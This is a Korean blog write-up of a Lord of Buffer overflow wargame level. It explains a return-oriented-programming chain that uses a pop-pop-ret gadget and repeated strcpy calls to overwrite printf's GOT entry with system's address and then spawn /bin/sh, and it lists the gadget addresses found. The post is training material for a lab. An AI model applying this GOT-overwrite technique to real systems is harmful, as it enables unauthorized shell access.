티스토리 뷰
드디어 ! PPR 가젯을 제공하는 문제에 도달했습니다. 문제 보시죠.
크... 엄청나게 기네요...
중요한 곳은 두 곳이 있습니다. PPR(pop pop ret) 가젯과 setre* 계열 함수의 제공입니다.
즉, 간단한 ROP(Return Oriented Programming)의 개념을 이용한 문제라는 것을 알 수 있습니다 !
plt, got, ppr 등을 모두 알고있다고 가정한 후에 문제를 풀겠습니다.
먼저 공격 코드를 구성해보면,
| buf(268) | +
| strcpy@plt | ppr | printf@got+0 | system[0] | +
| strcpy@plt | ppr | printf@got+1 | system[1] | +
| strcpy@plt | ppr | printf@got+2 | system[2] | +
| strcpy@plt | ppr | printf@got+3 | system[3] | +
| printf@plt | AAAA | &/bin/sh |
위와 같이 구성하면 공격을 성공시킬 수 있습니다.
ppr 가젯을 사용하는 이유는 pop 을 두 번 수행하면 그 다음 strcpy@plt 로 이동하고,
ret 이 수행되면 다시 strcpy@plt 함수가 실행되면서 값을 계속 덮어쓸 수 있기 때문입니다.
이제 중요한 것은 각각의 가젯을 찾는 일입니다.
찾아야하는 것들은 c0, 07, 75, 00 입니다. 찾는 방법을 보시죠.
objdump 명령을 사용해서 찾을 수 있습니다만... 나오지 않는 가젯도 존재합니다.
그럴 때에는 아래와 같이 찾아주면 됩니다.
-s 옵션은 모든 내용에서 검색을 수행하기때문에 더 자세히 검색할 수 있습니다.
이제 모든 가젯을 찾았습니다. 정리해보죠.
system: 0x7507c0, /bin/sh: 0x833603, PPR: 0x804854f
strcpy@plt: 0x8048494, printf@plt: 0x8048424, printf@got: 0x8049884
c0: 0x8048420, 07: 0x8048154, 75: 0x80486fa, 00: 0x80483d4
입니다. /bin/sh 의 주소와 PPR 의 주소를 어떻게 찾았냐고 물으신다면...
PPR 은 위와 같이 찾았구요.
/bin/sh 을 찾을 때는 코딩해서 찾았습니다 ~~ 그럼 바로 공격해볼까요 ?
get down like that !
'WarGame > LOB(Fedora_3) - 完' 카테고리의 다른 글
[LOB] evil_wizard -> dark_stone 문제 풀이 (0) | 2014.02.21 |
---|---|
[LOB] dark_eyes -> hell_fire 문제 풀이 (5) | 2014.02.20 |
[LOB] iron_golem -> dark_eyes 문제 풀이 (0) | 2014.02.07 |
[LOB] gate -> iron_golem 문제 풀이 (0) | 2014.02.07 |
[LOB] 문제 풀이를 위한 로컬 서버 구축 (0) | 2014.02.07 |
- Total
- Today
- Yesterday
- JavaScript
- ControlTower
- 2xx
- IAM
- Cloud
- scp
- stateType
- CIS
- temlate
- platform
- .get()
- 계정정보저장
- defaulttheme
- aws
- AWS #CIS
- steampipe
- ViaAWSService
- opensource
- cloudsecurity
- fleet manager
- security
- 4xx
- compliance
- terraform
- 우주와컴퓨터
- REACT
- conftest policy
- teplate
- web
- findinglatestversion
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |